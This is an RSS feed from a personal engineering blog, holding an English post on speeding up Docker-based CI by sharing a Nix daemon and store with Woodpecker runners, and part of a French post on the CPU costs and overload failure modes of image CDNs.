<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>Quentin Dufour</title>
    <description>Blog d&apos;un ingénieur en informatique et libriste convaincu, avec du code, du linux, du système et du réseau.</description>
    <link>https://quentin.dufour.io</link>
    <atom:link href="https://quentin.dufour.io/feed.xml" rel="self" type="application/rss+xml" />
    
    
      <item>
        <title>Fast CI builds</title>
        
        <description>&lt;p&gt;Historically, in the good old Jenkins days,
a CI build would occure in a workspace
that was kept across build. So your previous artifacts
could be re-used if they did not change (for example, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;make&lt;/code&gt; would detect
that some files did not change since that last build and thus did not recompile them).
Also it was assumed that all dependencies were directly installed on the machine.
Both of these properties allowed for very fast and efficient builds: only
what changed needed to be rebuilt.&lt;/p&gt;

&lt;p&gt;This approach had many shortcomings: stale cache would break builds (or wrongly make it work),
improper dependency tracking would make building on a new machine very hard, etc.
In the end, developers stop trusting the CI that remain broken, bugs start cripling the project and are not noticed,
and finally the codebase becomes unmaintainable.&lt;/p&gt;

&lt;p&gt;To avoid these problems, developers started to use a new generation of CI relying on VM (like Travis CI)
or containers (like Drone). All builds start with a fresh environment, often a well-known distribution like Ubuntu.
Then, for each builds, all the dependencies are installed and the build is done from scratch.
Such approach greatly helped developers better track their dependencies and make sure that building their project from scratch remains possible.
However, build times skyrocketted. You can wait more than 10 minutes before running a command that would actually check your code.
And as recommended by many people&lt;sup id=&quot;fnref:1&quot;&gt;&lt;a href=&quot;#fn:1&quot; class=&quot;footnote&quot; rel=&quot;footnote&quot; role=&quot;doc-noteref&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;sup id=&quot;fnref:2&quot;&gt;&lt;a href=&quot;#fn:2&quot; class=&quot;footnote&quot; rel=&quot;footnote&quot; role=&quot;doc-noteref&quot;&gt;2&lt;/a&gt;&lt;/sup&gt;&lt;sup id=&quot;fnref:3&quot;&gt;&lt;a href=&quot;#fn:3&quot; class=&quot;footnote&quot; rel=&quot;footnote&quot; role=&quot;doc-noteref&quot;&gt;3&lt;/a&gt;&lt;/sup&gt; the whole build cycle (lint, build, test) shoud remains below 10 minutes to be useful.&lt;/p&gt;

&lt;p&gt;To speed-up the CI, various optimizations have been explored. CI sometimes propose some sort of caching API, and when it does not, an object store like S3 can be used.
This cache is used either by directly copying the dependency folder&lt;sup id=&quot;fnref:4&quot;&gt;&lt;a href=&quot;#fn:4&quot; class=&quot;footnote&quot; rel=&quot;footnote&quot; role=&quot;doc-noteref&quot;&gt;4&lt;/a&gt;&lt;/sup&gt; (for example the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;target/&lt;/code&gt; folder for Rust or the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;node_modules/&lt;/code&gt; for Node.JS), or through dedicated tools like &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sccache&lt;/code&gt;&lt;sup id=&quot;fnref:5&quot;&gt;&lt;a href=&quot;#fn:5&quot; class=&quot;footnote&quot; rel=&quot;footnote&quot; role=&quot;doc-noteref&quot;&gt;5&lt;/a&gt;&lt;/sup&gt;. In this scenario, fetching/updating the cache involves a non negligible amount of filesystem+network I/O. Another approach relies on providing your own build image that will often be cached on workers. This image can contain your toolchain (for example Rust + Cargo + Clippy + etc.), but also your project dependencies (by copying your &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Cargo.toml&lt;/code&gt; or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;package.json&lt;/code&gt; file) and pre-fetching/compiling them. This approach still involves some maintenance burden: image must be rebuilt and published each time a dependency is changed, it’s project specific, it can easily break, you still do not track correctly your dependencies, etc.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Can we cache without making our builds fragile?&lt;/strong&gt;&lt;/p&gt;

&lt;h2 id=&quot;nix-to-the-rescue&quot;&gt;Nix to the rescue&lt;/h2&gt;

&lt;p&gt;Following our short discussions, the question that surface is wether or not we can cache efficiently without making our build fragile. Ideally, our project would be split in parts compiled in strict isolation, dependencies between parts would be stricly tracked, cache would be kept locally, and new job would only focus on rebuilding the changed components (avoiding steps like restoring cache &amp;amp; co).&lt;/p&gt;

&lt;p&gt;That’s what Nix can do, at least in a theory. A SaaS CI ecosystem start developping around it with solutions like &lt;a href=&quot;https://garnix.io/&quot;&gt;Garnix&lt;/a&gt; or &lt;a href=&quot;https://hercules-ci.com/&quot;&gt;Hercules CI&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;But personnaly, I am more interested in FOSS solutions, and thus existing solutions like &lt;a href=&quot;https://github.com/NixOS/hydra&quot;&gt;Hydra&lt;/a&gt; or &lt;a href=&quot;https://typhon-ci.org/&quot;&gt;Typhon&lt;/a&gt; seem more baroque. Worse, often a CI system based on Docker is already deployed in your organization (like &lt;a href=&quot;https://woodpecker-ci.org/&quot;&gt;Woodpecker&lt;/a&gt;, &lt;a href=&quot;https://docs.gitlab.com/runner/&quot;&gt;Gitlab Runner&lt;/a&gt;, &lt;a href=&quot;https://forgejo.org/docs/v1.20/user/actions/&quot;&gt;Forgejo Actions&lt;/a&gt;, etc.), and so you didn’t really have a choice here: you must use what’s already there.&lt;/p&gt;

&lt;h2 id=&quot;the-docker-way&quot;&gt;The Docker way&lt;/h2&gt;

&lt;p&gt;In the following, I will describe a docker deployment that should be generic enough to be adapted to any Docker-based CI system. It’s inspired by my own experience&lt;sup id=&quot;fnref:6&quot;&gt;&lt;a href=&quot;#fn:6&quot; class=&quot;footnote&quot; rel=&quot;footnote&quot; role=&quot;doc-noteref&quot;&gt;6&lt;/a&gt;&lt;/sup&gt; and a blog post by Kevin Cox&lt;sup id=&quot;fnref:7&quot;&gt;&lt;a href=&quot;#fn:7&quot; class=&quot;footnote&quot; rel=&quot;footnote&quot; role=&quot;doc-noteref&quot;&gt;7&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;

&lt;p&gt;First, we will spawn a unique &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nix-daemon&lt;/code&gt; on the worker, outside of the CI system:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;docker run &lt;span class=&quot;nt&quot;&gt;-i&lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;-v&lt;/span&gt; nix:/nix &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;--privileged&lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
  nixpkgs/nix:nixos-22.05 &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
  nix-daemon
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Then we will mount this &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nix&lt;/code&gt; volume as read-only in our jobs. The job will be able to access the store to run the programs it needs. It can add new things to the store by scheduling builds in the daemon through a dedicated UNIX socket. This approach is called &lt;em&gt;Multi-user Nix: trusted building&lt;/em&gt;&lt;sup id=&quot;fnref:8&quot;&gt;&lt;a href=&quot;#fn:8&quot; class=&quot;footnote&quot; rel=&quot;footnote&quot; role=&quot;doc-noteref&quot;&gt;8&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;docker run &lt;span class=&quot;nt&quot;&gt;-it&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;--rm&lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;-e&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;NIX_REMOTE=unix:///mnt/nix/var/nix/daemon-socket/socket?root=/mnt&quot;&lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;-e&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;NIX_CONFIG=extra-experimental-features = nix-command flakes&quot;&lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;-v&lt;/span&gt; nix:/mnt/nix:ro &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;-v&lt;/span&gt; &lt;span class=&quot;sb&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;pwd&lt;/span&gt;&lt;span class=&quot;sb&quot;&gt;`&lt;/span&gt;:/workspace &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;-w&lt;/span&gt; /workspace &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
  nixpkgs/nix:nixos-24.05 &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
  nix build .#
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Note how the nix daemon and the nix interactive instance have a different version. It’s possible as, in the interactive instance, we did not mount the daemon store on the default path (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/nix&lt;/code&gt;) but on another one (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/mnt/nix&lt;/code&gt;) and instructed it to use it in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;NIX_REMOTE&lt;/code&gt; environment variable. This point is important as it enables you to decouple the lifecycle of your worker daemons from the one of your projects, which drastically ease maintenance.&lt;/p&gt;

&lt;h2 id=&quot;a-woodpecker-integration&quot;&gt;A woodpecker integration&lt;/h2&gt;

&lt;p&gt;Basically, you want to run your nix-daemon next to your woodpecker agent, for example in a docker-compose. Then, you need to pass specific parameters to your woodpecker agent such that our volume and environment variables are automatically injected to all your builds:&lt;/p&gt;

&lt;div class=&quot;language-yml highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;na&quot;&gt;version&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;3.4&apos;&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;services&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;nix-daemon&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;image&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;nixpkgs/nix:nixos-22.05&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;restart&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;always&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;command&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;nix-daemon&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;privileged&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;true&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;volumes&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;nix:/nix&quot;&lt;/span&gt;

  &lt;span class=&quot;na&quot;&gt;woodpecker-runner&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;image&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;woodpeckerci/woodpecker-agent:v2.4.1&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;restart&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;always&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;environment&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;c1&quot;&gt;# -- our NixOS / CI specific env&lt;/span&gt;
      &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;WOODPECKER_BACKEND_DOCKER_VOLUMES=woodpecker_nix:/mnt/nix:ro&lt;/span&gt;
      &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;WOODPECKER_ENVIRONMENT=NIX_REMOTE:unix:///mnt/nix/var/nix/daemon-socket/socket?root=/mnt,NIX_CONFIG:extra-experimental-features = nix-command flakes&lt;/span&gt;
      &lt;span class=&quot;c1&quot;&gt;# -- change these for each agent&lt;/span&gt;
      &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;WOODPECKER_HOSTNAME=i_forgot_to_change_my_runner_name&lt;/span&gt;
      &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;WOODPECKER_AGENT_SECRET=xxxx&lt;/span&gt;
      &lt;span class=&quot;c1&quot;&gt;# -- should not need change&lt;/span&gt;
      &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;WOODPECKER_SERVER=woodpecker.example:1111&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;volumes&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;/var/run/docker.sock:/var/run/docker.sock&quot;&lt;/span&gt;

&lt;span class=&quot;na&quot;&gt;volumes&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;nix&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Note that the volume is named &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;woodpeck_nix&lt;/code&gt; and not &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nix&lt;/code&gt; in the woodpacker agent configuration (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;WOODPECKER_BACKEND_DOCKER_VOLUMES&lt;/code&gt; environment declaration). It’s because our &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;docker-compose.yml&lt;/code&gt; is in a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;woodpecker&lt;/code&gt; folder and docker compose prefixes the created volumes with the name of the deployment, by default the parent folder name. The prefix is not needed elsewhere, as elsewhere, the resolution is dynamically done by compose. But the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;WOODPECKER_BACKEND_DOCKER_VOLUMES&lt;/code&gt; declaration is not part of compose, it will be used later by woodpecker when interacting directly with the Docker API.&lt;/p&gt;

&lt;p&gt;Then, in your project &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.woodpecker.yml&lt;/code&gt;, you can seemlessly use nix and enjoy efficient and quick caching:&lt;/p&gt;

&lt;div class=&quot;language-yml highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;na&quot;&gt;steps&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;build&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;image&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;nixpkgs/nix:nixos-24.05&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;commands&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;nix build .#&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;limitations&quot;&gt;Limitations&lt;/h2&gt;

&lt;p&gt;Anyone having access to your CI will have a read access to your nix store.
People will also be able to store data in your &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/nix/store&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Finally, if I remember correctly, there are some attacks to alter the content of a derivation (such that a content in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/nix/store&lt;/code&gt; is not the product of the hashed derivation). In other words, it’s mainly a single-tenant solution.&lt;/p&gt;

&lt;p&gt;So a great evolution would be a multi-tenant system, either by improving the nix-daemon isolation, or by running one nix-daemon per-project or per-user/per-organization. Today, none of these solutions is possible.&lt;/p&gt;

&lt;p&gt;Another limitation is garbage collection: if the nix-daemon can do some garbage collection, none of its policy is interesting for a CI. Mainly, if you activate it, it will ditch everything as it is connected to “no root path” from its point of view. A LRU cache policy would be a great addition. At least, you can manually trigger a garbage collection once your disk is full…&lt;/p&gt;

&lt;hr /&gt;

&lt;div class=&quot;footnotes&quot; role=&quot;doc-endnotes&quot;&gt;
  &lt;ol&gt;
    &lt;li id=&quot;fn:1&quot;&gt;
      &lt;p&gt;&lt;a href=&quot;https://graphite.dev/blog/how-long-should-ci-take&quot;&gt;How long should your CI take&lt;/a&gt;. &lt;em&gt;Various industry resources suggest an ideal CI time of around 10 minutes for completing a full build, test, and analysis cycle. As Kent Beck, author of Extreme Programming, said, “A build that takes longer than ten minutes will be used much less often, missing the opportunity for feedback. A shorter build doesn’t give you time to drink your coffee.”&lt;/em&gt; &lt;a href=&quot;#fnref:1&quot; class=&quot;reversefootnote&quot; role=&quot;doc-backlink&quot;&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
    &lt;/li&gt;
    &lt;li id=&quot;fn:2&quot;&gt;
      &lt;p&gt;&lt;a href=&quot;https://semaphoreci.com/blog/2017/03/16/measure-and-improve-your-ci-speed.html&quot;&gt;Measure and Improve Your CI Speed with Semaphore&lt;/a&gt;. &lt;em&gt;We’re convinced that having a build slower than 10 minutes is not proper continuous integration. When a build takes longer than 10 minutes, we waste too much precious time and energy waiting, or context switching back and forth. We merge rarely, making every deploy more risky. Refactoring is hard to do well.&lt;/em&gt; &lt;a href=&quot;#fnref:2&quot; class=&quot;reversefootnote&quot; role=&quot;doc-backlink&quot;&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
    &lt;/li&gt;
    &lt;li id=&quot;fn:3&quot;&gt;
      &lt;p&gt;&lt;a href=&quot;https://martinfowler.com/bliki/ContinuousIntegrationCertification.html&quot;&gt;Continuous Integration Certification&lt;/a&gt;. &lt;em&gt;Finally he asks if, when the build fails, it’s usually back to green within ten minutes. With that last question only a few hands remain. Those are the people who pass his certification test.&lt;/em&gt; &lt;a href=&quot;#fnref:3&quot; class=&quot;reversefootnote&quot; role=&quot;doc-backlink&quot;&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
    &lt;/li&gt;
    &lt;li id=&quot;fn:4&quot;&gt;
      &lt;p&gt;&lt;a href=&quot;https://blog.arriven.wtf/posts/rust-ci-cache/&quot;&gt;Rust CI Cache&lt;/a&gt;. &lt;em&gt;We can cache the build artifacts by caching the target directory of our workspace.&lt;/em&gt; &lt;a href=&quot;#fnref:4&quot; class=&quot;reversefootnote&quot; role=&quot;doc-backlink&quot;&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
    &lt;/li&gt;
    &lt;li id=&quot;fn:5&quot;&gt;
      &lt;p&gt;&lt;a href=&quot;https://fasterthanli.me/articles/my-ideal-rust-workflow&quot;&gt;My ideal Rust workflow&lt;/a&gt;. &lt;em&gt;The basic idea behind sccache, at least in the way I have it set up, it’s that it’s invoked instead of rustc, and takes all the inputs (including compilation flags, certain environment variables, source files, etc.) and generates a hash. Then it just uses that hash as a cache key, using in this case an S3 bucket in us-east-1 as storage.&lt;/em&gt; &lt;a href=&quot;#fnref:5&quot; class=&quot;reversefootnote&quot; role=&quot;doc-backlink&quot;&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
    &lt;/li&gt;
    &lt;li id=&quot;fn:6&quot;&gt;
      &lt;p&gt;I &lt;a href=&quot;https://git.deuxfleurs.fr/Deuxfleurs/albatros/src/commit/373c1f8d76b11a5638b2a4aa753417c67f0c2e13/hcl/nixcache/builder.hcl&quot;&gt;tried writing a CI&lt;/a&gt; on top of Nomad that would wrap a dockerized NixOS, and also deployed &lt;a href=&quot;https://git.deuxfleurs.fr/Deuxfleurs/nixcfg/src/commit/ca01149e165b3ad1c9549735caa658efda380cd3/cluster/prod/app/woodpecker-ci/integration/docker-compose.yml&quot;&gt;a Woodpecker/Drone CI NixOS runner&lt;/a&gt;. &lt;a href=&quot;#fnref:6&quot; class=&quot;reversefootnote&quot; role=&quot;doc-backlink&quot;&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
    &lt;/li&gt;
    &lt;li id=&quot;fn:7&quot;&gt;
      &lt;p&gt;&lt;a href=&quot;https://kevincox.ca/2022/01/02/nix-in-docker-caching&quot;&gt;Nix Build Caching Inside Docker Containers&lt;/a&gt;. &lt;em&gt;I wanted to see if I could cache dependencies without uploading, downloading or copying them around for each job.&lt;/em&gt; &lt;a href=&quot;#fnref:7&quot; class=&quot;reversefootnote&quot; role=&quot;doc-backlink&quot;&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
    &lt;/li&gt;
    &lt;li id=&quot;fn:8&quot;&gt;
      &lt;p&gt;&lt;a href=&quot;https://www.tweag.io/blog/2019-11-21-untrusted-ci/&quot;&gt;Untrusted CI: Using Nix to get automatic trusted caching of untrusted builds&lt;/a&gt;. &lt;em&gt;This means that untrusted contributors can upload a “build recipe” to a privileged Nix daemon which takes care of running the build as an unprivileged user in a sandboxed context, and of persisting the build output to the local Nix store afterward.&lt;/em&gt; &lt;a href=&quot;#fnref:8&quot; class=&quot;reversefootnote&quot; role=&quot;doc-backlink&quot;&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
    &lt;/li&gt;
  &lt;/ol&gt;
&lt;/div&gt;
</description>
        <pubDate>Sat, 10 Aug 2024 00:00:00 +0200</pubDate>
        <link>https://quentin.dufour.io/blog/2024-08-10/fast-ci-build-with-nix/</link>
        <guid isPermaLink="true">https://quentin.dufour.io/blog/2024-08-10/fast-ci-build-with-nix/</guid>
      </item>
    
    
    
      <item>
        <title>Pensées sur les CDN d&apos;images</title>
        
        <description>&lt;p&gt;Pour accélérer le chargement d’un site web,
réduire la quantité de données transférées, 
et livrer un format d’image adapté aux appareils utilisés,
il est d’usage d’avoir recourt à des services qu’on 
appelle souvent “image CDN”.&lt;/p&gt;

&lt;p&gt;Ces services “de CDN d’images” réalisent, en interne l’encodage
à la volée d’une image source vers un format, une qualité, et une résolution spécifique spécifiées dans l’URL.
Ces services intègrent possiblement une politique de cache des images générées.&lt;/p&gt;

&lt;h2 id=&quot;état-de-lart&quot;&gt;État de l’art&lt;/h2&gt;

&lt;p&gt;Dans ce domaine, on peut recenser de nombreux acteurs SaaS comme
&lt;a href=&quot;https://docs.netlify.com/image-cdn/overview/&quot;&gt;Netlify Image CDN&lt;/a&gt;,
&lt;a href=&quot;https://www.keycdn.com/image-processing&quot;&gt;KeyCDN Image Processing&lt;/a&gt;,
&lt;a href=&quot;https://www.cloudflare.com/fr-fr/developer-platform/cloudflare-images/&quot;&gt;Cloudflare Images&lt;/a&gt;
ou encore &lt;a href=&quot;https://www.akamai.com/products/image-and-video-manager?image-manager-demo=perceptual-quality&quot;&gt;Akamai Image &amp;amp; Video Manager&lt;/a&gt;.
Il existe aussi des solutions à héberger soi-même, comme &lt;a href=&quot;https://imgproxy.net/&quot;&gt;imgproxy&lt;/a&gt;, &lt;a href=&quot;https://github.com/h2non/imaginary&quot;&gt;imaginary&lt;/a&gt;,
&lt;a href=&quot;https://github.com/thumbor/thumbor&quot;&gt;thumbor&lt;/a&gt;, &lt;a href=&quot;https://github.com/agschwender/pilbox&quot;&gt;pilbox&lt;/a&gt;, &lt;a href=&quot;https://github.com/willnorris/imageproxy&quot;&gt;imageproxy&lt;/a&gt; ou encore
&lt;a href=&quot;https://github.com/thoas/picfit&quot;&gt;picfit&lt;/a&gt;.
Enfin, on peut construire ce genre de services via des bibliothèques dédiées comme &lt;a href=&quot;https://sharp.pixelplumbing.com/&quot;&gt;sharp&lt;/a&gt; en NodeJS,
qui se base sur la bibliothèque C &lt;a href=&quot;https://www.libvips.org/&quot;&gt;libvips&lt;/a&gt; qui a des bindings dans la plupart des langages.&lt;/p&gt;

&lt;h2 id=&quot;défis-techniques&quot;&gt;Défis techniques&lt;/h2&gt;

&lt;p&gt;Pour tout service informatique se pose des questions de deux ordres : fonctionnel et opérationnel.
Le périmètre fonctionnel est bien défini, pour preuve l’homogénéité de fonctionnement de ces services. 
On peut au besoin se baser sur &lt;a href=&quot;https://iiif.io/api/image/3.0/#4-image-requests&quot;&gt;l’image API 3.0&lt;/a&gt; de l’IIF si on veut.&lt;/p&gt;

&lt;p&gt;L’aspect opérationnel quant à lui revêt des défis non triviaux, spécifiquement quant on a une approche &lt;em&gt;computing within limits&lt;/em&gt;.
En effet, la conversion d’une image n’est pas une opération négligeable en terme de consommation de CPU &amp;amp; RAM.
À celà s’ajoute deux pré-requis particulièrement fort liés à l’aspect “à la volée” du service : 
1) la conversion doit être réalisée de manière “intéractive” et 2) l’arrivée des requêtes n’est pas prédictible ou uniformément dispersée.&lt;/p&gt;

&lt;p&gt;On peut avoir un premier aperçu des enjeux liés à ce service à travers un benchmark, réalisé vers 2019 - il y a 5 ans à l’écriture de ce billet - par &lt;a href=&quot;https://gist.github.com/DarthSim&quot;&gt;un dévelopeur&lt;/a&gt; d’une de ces solutions, et intitulé &lt;a href=&quot;https://gist.github.com/DarthSim/9d971d2859f3714a29cf8ce094b3fc55&quot;&gt;imgproxy vs alternatives benchmark&lt;/a&gt;. Le test consiste à redimensionner une image JPEG de 29Mo pour une résolution de 7360x4912 (typiquement une photo prise par un appareil photo réflexe) vers une résolution de 500x500, toujours en JPEG. Le benchmark semble être configuré avec 4 requêtes en parallèle. imgproxy, thumbor, et imaginary se démarquent particulièrement des autres logiciels par leurs bonnes performances : environ 10 images par secondes, entre 200Mo et 400Mo de mémoire vive consommées, autour de 500ms de processing par image.&lt;/p&gt;

&lt;p&gt;Ces chiffres sont loins d’être anodins : étant donné la nature du test, il est raisonable de penser que l’image se trouve dans le cache en mémoire vive. 
Les 500ms de processing sont donc dus uniquement aux accès mémoires et à la logique de redimenssionnement, et non à l’attente d’entrées-sorties.
Autrement dit, la conversion d’une seule image génère un pic de CPU à 100% pendant 500ms.&lt;/p&gt;

&lt;p&gt;Par contre, ce test ne nous dit rien des formats d’images plus récents comme AVIF, HEIC ou même WebP.
Si ces formats génèrent des fichiers de plus petites tailles, ils sont aussi connus pour demander d’avantage de ressources CPU.
En pratique, cela risque d’amplifier encore le temps d’encodage, particulièrement si l’image générée a une haute résolution.&lt;/p&gt;

&lt;p&gt;Enfin, le domaine des tests de performance est grand. Ce “benchmark” tombe sous le coup du “test de charge” :
on envoie 4 requêtes parallèles en continu et on observe comment le système se comporte. 
Mais quid d’un “stress test”, qui dépasse les limites du système, et qui nous permet de voir comment ce dernier se comporte, et comment il &lt;em&gt;recover&lt;/em&gt; ?&lt;/p&gt;

&lt;p&gt;En effet, que ce soit par maladresse ou par malveillance, il est certain qu’un tel système basé sur des “traitements à la volée”
fera rapidement face à des charges de travail qu’il ne pourra pas traiter en temps acceptable (supposons 5 secondes). 
Que ce soit des images très hautes résolutions de la voute céleste, une grille de miniatures générant 60 images en parallèle, un pic de trafic soudain sur un site web suite à un partage sur les réseaux sociaux, ou quelqu’un de malveillant générant des requêtes volontairement intensives en ressource.&lt;/p&gt;

&lt;h2 id=&quot;failure-mode&quot;&gt;Failure mode&lt;/h2&gt;

&lt;p&gt;À mon sens, il n’existe aucune autre solution que la conception d’un failure mode.
Lorsque qu’une trop grande charge de travail est envoyée au service, ce dernier passe en &lt;em&gt;failure mode&lt;/em&gt; le temps d’absorber la charge.
Une fois la charge absorbée, le service &lt;em&gt;recover&lt;/em&gt; et repasse dans son mode normal.
Ce &lt;em&gt;failure mode&lt;/em&gt; doit forcément être très efficace, sinon il ne sert à rien.&lt;/p&gt;

